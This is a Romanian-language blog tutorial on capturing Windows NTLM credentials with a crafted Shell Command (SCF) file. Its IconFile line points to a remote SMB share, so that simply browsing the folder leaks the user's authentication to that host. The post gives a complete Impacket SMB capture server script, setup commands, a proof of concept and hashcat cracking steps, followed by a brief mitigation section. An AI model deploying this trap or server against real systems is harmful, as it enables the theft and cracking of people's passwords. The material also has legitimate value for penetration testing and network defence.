Extragerea credențialelor Windows prin Shell Command Files

Extragerea de Credențiale WindowsExtragerea de Credențiale Windows este scopul final al fiecărui penetration tester. În plus, scurgerea acestor informații în afara rețelei locale agravează problema. Există multe modalități prin care se poate ajunge la acest lucru. Unele necesită atacuri complexe sau interacțiuni cu utilizatorul. Există totuși o caracteristică Windows, veche și nedocumentată, care ușurează această munca. Permiteți-mi să introduc fișierele de tipul Windows Explorer Shell Command.

O parte din acest articol a fost inspirată de Bosko Stankovic. Citiți articolul original aici.

Puțină istorie

Probabil unii dintre voi vă amintiți că versiunile mai vechi de Windows au avut o mică pictogramă pe bara de activități numită Show Desktop. Prin clic pe acesta pictogramă, toate ferestrele se minimizau ca și cum am apăsa combinația de taste Win+D. Această funcționalitate a fost implementată utilizând un fișier care avea extensia SCF. Fișierul conținea câteva rânduri de text. În cazul de față, fișierul Show Desktop pe care l-am menționat arăta așa:

[Shell]
Command=2
IconFile=explorer.exe,3

[Taskbar]
Command=ToggleDesktop

Fișierul se compunea dintr-o comandă care era executată de Windows Explorer și o cale către o pictogramă. Documentația oficială pentru Shell Command Files cam lipsește și nu voi intra prea mult în detalii. În plus, se pare că Microsoft a uitat de aceste fișiere. De asemenea, în cele mai recente versiuni Windows, pictograma Show Desktop pare să fi dispărut. Cu toate acestea, modul în care Windows Explorer procesează aceste fișiere a rămas același.

Extragerea credențialelor

În timp ce secțiunea de fișier care definește comandă este inutilă pentru noi, calea către pictogramă este o poveste diferită. În momentul în care utilizatorul navighează către locația fișierului, Windows Explorer încearcă să afișeze pictograma. Aceasta este partea care permite furtul de credențiale Windows. Permiteți-mi să repet din nou: utilizatorul nu trebuie să deschidă fișierul, trebuie doar să navigheze la locația sa.

Dacă setăm calea pictogramei către o locație partajată în rețea, Windows Explorer va încerca să o încarce de acolo. În același timp, va încerca să se autentifice la distanță pentru a putea accesa locația. În plus, această autentificare automată are loc chiar dacă partajarea de la distanță este în afara rețelei curente. Din acest motiv, putem realiza un fișier SCF care va face ca Windows Explorer să încarce pictograma dintr-o locație pe care o controlăm noi. Ca rezultat, vom putea captura pachetele de autentificare. În plus, putem limita conținutul fișierului la doar două linii și acesta va funcționa în continuare.

[Shell]
IconFile=\\104.28.10.240\icon

Configurarea capcanei

Permiteți-mi să introduc Impacket, o colecție de clase Python pentru lucrul cu protocoalele de rețea. În plus, aceste clase conțin și funcționalități pentru crearea de servere SMB. Exact de ceea ce avem nevoie. Hai să ne apucam de lucru.

Am ales să fac implementarea pe un Raspberry Pi 3 Model B care rulează Raspbian Jessie Pixel. Am făcut această alegere doar pentru că am așa ceva la îndemână. Se pot obține aceleași rezultate și sub o altă distribuție Linux.

Instalare dependințelor

În primul rând, actualizăm sursa de pachete.

sudo apt-get update

Instalăm fișierele header pentru the Python C API (necesare pentru pycrypto)

sudo apt-get install python-dev

Continuăm cu instalarea a două pachete Python de care avem nevoie, pycrypto și impacket.

sudo pip install pycrypto
sudo pip install impacket

Acum putem trece la scriptul serverului SMB.

Scriptul

Scriptul complet poate fi descărcat de pe GitHub de la adresa
https://github.com/levifuksz/sbm-steal

Începem prin a importa toate pachetele de care avem nevoie

import sys
import logging

from impacket import smbserver

Definim o clasă care permite afișarea de date la consola și scrierea lor într-un fișier în același timp.

class Logger(object):
    def __init__(self):
        self.terminal = sys.stdout
        self.log = open('smbstealer.log', 'w')

    def write(self, message):
        self.terminal.write(message)
        self.log.write(message)
        self.log.flush()

Configurăm afișarea datelor folosind clasa de mai sus.

handler = logging.StreamHandler(Logger())
logging.getLogger().addHandler(handler)
logging.getLogger().setLevel(logging.DEBUG)

Instanțiem și configurăm serverul SMB utilizând Impacket.

server = smbserver.SimpleSMBServer()
server.addShare('Public', '/tmp', 'Public Share')
server.setSMB2Support(True)
server.setSMBChallenge('deaddeaddeaddead')
server.setLogFile('')

În cele din urmă, pornim serverul.

server.start()

Dovada conceptului

Se pare că este timpul să punem teoria în practică. Voi adăuga un nou utilizator Windows la mașina mea. Acesta se va numi victim. De asemenea, voi seta o parolă slabă. De exemplu, Letmein1.

net user victim Letmein1 /Add

Apoi, voi crea un fișier Shell Command care să indice către IP-ul pe care rulează scriptul de mai sus. În același timp, voi rula scriptul pe Raspberry Pi.

sudo python smbstealer.py

În cele din urmă, voi naviga la dosarul unde este localizat fișierul SCP pentru a declanșa încărcarea pictogramei. După cum puteți vedea mai jos, am reușit să capturam datele de autentificare.

Autentificare capturată

Recuperarea parolei

Opțiunea evidentă pentru recuperarea parolei este hashcat. Puteți să îl descărcați de aici.

Deschideți fișierul jurnal generat de scriptul nostru și copiați linia cu autentificarea într-un fișier text nou numit captured.txt. Ar trebui să fie o singură linie de text lungă.

Utilizați un dicționar de parole bun. Probabil în cazul nostru, o listă cu cele mai slabe 500 de parole va fi de ajuns. În plus, deja cunoaștem parola, așa că nu ar trebui să ne facem probleme în privința recuperării acesteia.

Porniți hashcat și așteptați.

hashcat -m 5600 captured.txt wordlist.txt

Dacă parola nu este suficient de complexă, hashcat ar trebui să o recupereze în cel mai scurt timp.

În cele din urmă, aici este dovada că am reușit să recuperăm parola contului pe care l-am folosit pe post de exemplu.

Parola recuperată

Mitigare

Primul lucru pe care îl puteți face ca și sysadmin pentru a vă proteja rețeaua contra acestui atac este blocarea traficului de ieșire pe portul TCP 445. În plus, puteți bloca și porturile TCP 139, UDP 137 și UDP 138. Acestea sunt utilizate de SMB și NetBIOS. Traficul pe aceste porturi nu ar avea motive să părăsească rețeaua locală.

Deoarece credențialele pot fi furate utilizând această metodă și în interiorul rețelei locale, configurați o politică de complexitate parole. Chiar dacă cineva interceptează pachetele de autentificare, recuperarea parolelor complexe și lungi poate fi destul de dificilă.

T3ZlciBBbmQgT3V0IQ==

Articole recente

Be First to Comment

Lasă un răspuns

Acest sit folosește Akismet pentru a reduce spamul. Află cum sunt procesate datele comentariilor tale.